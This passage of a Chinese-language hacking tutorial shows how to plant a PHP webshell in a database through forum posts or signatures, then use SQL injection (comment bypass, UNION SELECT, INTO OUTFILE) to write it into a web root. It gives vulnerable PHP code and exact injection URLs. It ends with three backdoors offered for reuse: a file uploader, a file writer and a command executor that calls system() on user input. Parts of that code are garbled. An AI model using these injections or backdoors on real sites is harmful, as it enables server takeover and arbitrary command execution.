最大的局限就在這裡——插入資料,所以我們只能從程式現有的功能入手,其實很多程式都可以提交評論、留言、文章等,就看程式是怎麼把變數插入資料庫的。其實道路就在我們身邊,靠我們自己去開闢。
不用多說,先看在本地測試的一個簡單例子,建立一個表,結構如下:
CREATE TABLE `article` (
`articleid` INT NOT NULL AUTO_INCREMENT ,
`title` VARCHAR( 200 ) NOT NULL ,
`content` TEXT NOT NULL ,
`visible` INT DEFAULT '1' NOT NULL ,
PRIMARY KEY ( `articleid` )
);
瀏覽文章的檔案show.php如下:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("資料庫連接失敗");
$sql = "SELECT * FROM article WHERE articleid=$id and visible=1";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row) {
echo "該記錄不存在";
echo "<p>SQL Query:$sql<p>";
exit;
}
function html_clean($content){
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br>", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", ' ', $content);
return $content;
}
echo "<title>".$row['title']."</title>";
echo "<b>標題:</b>".htmlspecialchars($row['title'])."<hr>\n";
echo "<b>內容:</b><p>".html_clean($row['content'])."</p><hr>\n";
echo "SQL Query:$sql";
?>
遊客提交文章的檔案add.php如下:
<?
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("資料庫連接失敗");
if ($_POST['action']=="add") {
if ($title=="" or $content=="") {
echo "您還沒有填寫完表單。";
exit;
} else {
$sql="INSERT INTO article (title,content,visible) VALUES('$title','$content','0')";
// 如果 visible 欄位為1 ,則表示顯示此文。
// 由於是遊客提交的,肯定是插入0,管理員審核後更新為1。
mysql_db_query($dbname, $sql);
mysql_close();
echo "您已經提交完畢,正在等待管理員審核。";
exit;
}
}
?>
<form action="add.php" method="POST">
文章標題:<br><input name="title" type="text" size="50" maxlength="100"><p>
文章內容:<br><textarea name="content" cols="50" rows="15"></textarea><p>
<input type="hidden" name="action" value="add"><input type="submit" value="提交">
</form>
很多程式都是直接把使用者的資料插入資料庫中,需要調用的時候再用函數來處理,就像上面的show.php一樣。這樣給我們造就了一個機會,就是把我們的WebShell原封不動的寫進資料庫,很少有程式是將變數處理後才插進資料庫的,VBB都是直接放。
我們訪問add.php提交我們的代碼進文章內容,此時文章是隱藏的,我們怎麼知道那篇文章的id呢?其實很簡單:
http://127.0.0.1/injection/show.php?id=2
# 這樣是瀏覽正常文章,如果文章不顯示,幾時存在也會提示不存在。
http://127.0.0.1/injection/show.php?id=2/*
# 這樣可以注釋掉visible欄位的判斷,則可顯示被隱藏的文章。
注意看的SQL Query那裡,只要我們注釋掉後面的判斷,就可以改變id來找我們的文章了,剛才我們是提交了完整的代碼,這個代碼是我寫的一個小型上傳型後門,可以上傳任何類型的檔案到該指令碼所在的目錄,但大小不能超過php.ini裡的設定。
現在代碼已經寫入了,現在開始構造我們的into outfile語句了,只要構造正確,我們的匯出檔案就會乖乖的躺在預定目錄裡,至於如何找到web絕對路徑,如何找到有可寫入權限的目錄,不在本文討論範圍,相信這些也難不到大家。提交:
http://127.0.0.1/injection/show.php?id=2 into outfile 'f:/www/1.php'/*
返回如下提示:
看到了吧?SQL語句是正確的,儘管出現了錯誤提示,但只要目錄存在並可寫,那檔案就一定已經被匯出:
我們上傳的後門也正常執行了,因為php代碼並沒有被破壞。退一步來說,就算表單的引號被破壞了,我們還是可以在本地構造表單的。
執行個體
相信大家看到這裡已經對通過注入匯出WebShell已經有點認識和思路了。上面是一個最簡單的,最順暢的一個例子。看似條件苛刻,實際無處不在,看似簡單,實際發揮空間很大,如果靈活運用,危害是不小的,下面就看一個更實際的例子,可以看作是一次完整的滲透測試。
由於我現在不能上網,我就在本地搭建一個和http://www.4ngel.net一摸一樣的網站來進行滲透,所有資料庫和檔案都和網上一樣,文章和論壇共用一個資料庫,都是我前天備份下來的。我現在去掉了showarticle.php檔案中的對於$id過濾的代碼。形成一個有漏洞的網站(有點委屈了,55555)。
注意:當前環境是magic_quotes_gpc = Off,有些程式做對輸入的變數做了處理,比如VBB,所以gpc開啟或關閉無所謂。
整個網站沒有提交文章、留言、評論的地方,我們不能從網站上提交我們的代碼,幸好,有一個論壇,呵呵,很多地方是可以提交我們的資料的,文章、簽名等,我們就把WebShell的代碼寫在簽名裡吧。
然後我們就可以通過文章頁面的注入點跨表查詢簽名的內容,然後匯出來,有了WebShell,就算有safe_mode阻攔,但我們要滲透伺服器,是基本沒有問題的。看上面的第5幅圖就知道了,文章查詢的是5個欄位,我們現在就用union聯集查詢,關於union聯集查詢在我的《SQL Injection with MySQL》中已經說得很清楚了,這裡不再闡述。我們在union之後的查詢中,也指定5個欄位“1,1,1,1,1”,查詢user表中angel使用者,userid為1,如果構造正確,使用者存在。頁面會正常返回:
http://127.0.0.1/showarticle.php?id=25' union select 1,1,1,1,1 from user where userid=1/*
我們看看是否真的能查詢到論壇的簽名的內容,剛才看到出錯的SQL語句,知道查詢文章內容(content)的欄位是第5個,簽名的欄位名是“signature”,我們把第5個1換成“signature”,然後給前面的$id指定一個不存在的值,這樣就可以在原來顯示文章內容的地方顯示簽名的內容了。構造:
http://127.0.0.1/showarticle.php?id=55' union select 1,1,1,1,signature from user where userid=1/*
嗯,查詢成功,開始匯出吧,我本地的Web目錄是f:/www,這個我是知道的,呵呵,至於大家實際運用的時候,如何擷取Web絕對路徑,不要來問我。
緊接著剛才我們構造的語句,在後面加上into outfile吧,提交:
http://127.0.0.1/showarticle.php?id=55' union select 1,1,1,1,signature from user where userid=1 into outfile 'f:/www/angel.php'/*
嗯,出現錯誤提示了,不管他,反正我們語句沒有構造錯,而且我的F盤是Everyone完全控制的。自然我們的angel.php也出來了:
看似複雜的東西,實際上是好容易掌握的,最主要是靈活性,程式的代碼各異,加上php的特性,利用的辦法就多種多樣了,不過有一點是要注意的,就是如果要匯出資料,單引號一定不能被破壞,可能來自程式碼,可能來自magic_quotes_gpc,只要單引號被破壞了,成功率幾乎是零了。
請各位不要用安全天使的網站來練手,既然這篇文章是我寫的,我的網站就不會存在這種問題了。
後記
希望本文能起到拋磚引玉的效果,其他更深層的技術,就靠大家自己去探索了,如果本文有什麼錯漏的地方或對本文有不明白的地方,可以到安全天使的論壇與我交流。下面附上一些我寫的、也經常用到的php後門,由於當時才剛學習php不久,下面的代碼可能問題很多,如果想用功能更加強大php後門。建議下載我開發的phpspy。
PHP上傳型後門
<?php
// Codz by angel ACTION="" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE="提交" TYPE="submit"></form>
PHP檔案產生型後門
<?php
// Codz by angel){
$fp=@fopen("".$_POST['filename']."","wb");
$content = $_POST['filedate'];
$fw=@fwrite($fp,$content);
if ($fw) {
echo "<b>恭喜,寫入檔案成功!</b><a href="http://www.hack58.net/Article/html/3/7/2008/.$PHP_SELF.">返回</a>";
exit;
} else {
echo "<b>寫入檔案失敗,是不是許可權的問題?</b><a href="http://www.hack58.net/Article/html/3/7/2008/.$PHP_SELF.">返回</a>";
exit;
}
@fclose($fp);
}
?>
<form action="" method="post">
儲存的檔案名稱(如:<font color="#FF0000">angel.php</font>):<br>
<input type="text" name="filename" size="60">
<p>
檔案儲存在:<br><?=str_replace('\\','/',dirname(__FILE__))?>
<p>
檔案內容:
<br><textarea name="filedate" cols="60" rows="10"></textarea><br>
<input type="hidden" name="action" value="create"><input type="submit" value="儲存">
</form>
<b>注意:當有相同的檔案存在時,將完全改寫其內容!</b>
執行命令型後門
<?php
// Codz by angel method="post">
命令:<br>
<input type="text" name="command" size="60" <?php if ($command) { echo "value=\"$command\"";} ?>> <input name="submit_btn" type="submit" value="執行"></p>
執行結果:<br>
<textarea cols="80" rows="20" readonly><?phpif ($command) { system($command);}?></textarea><p>
注意:在windows主機部分命令可能有限制</form>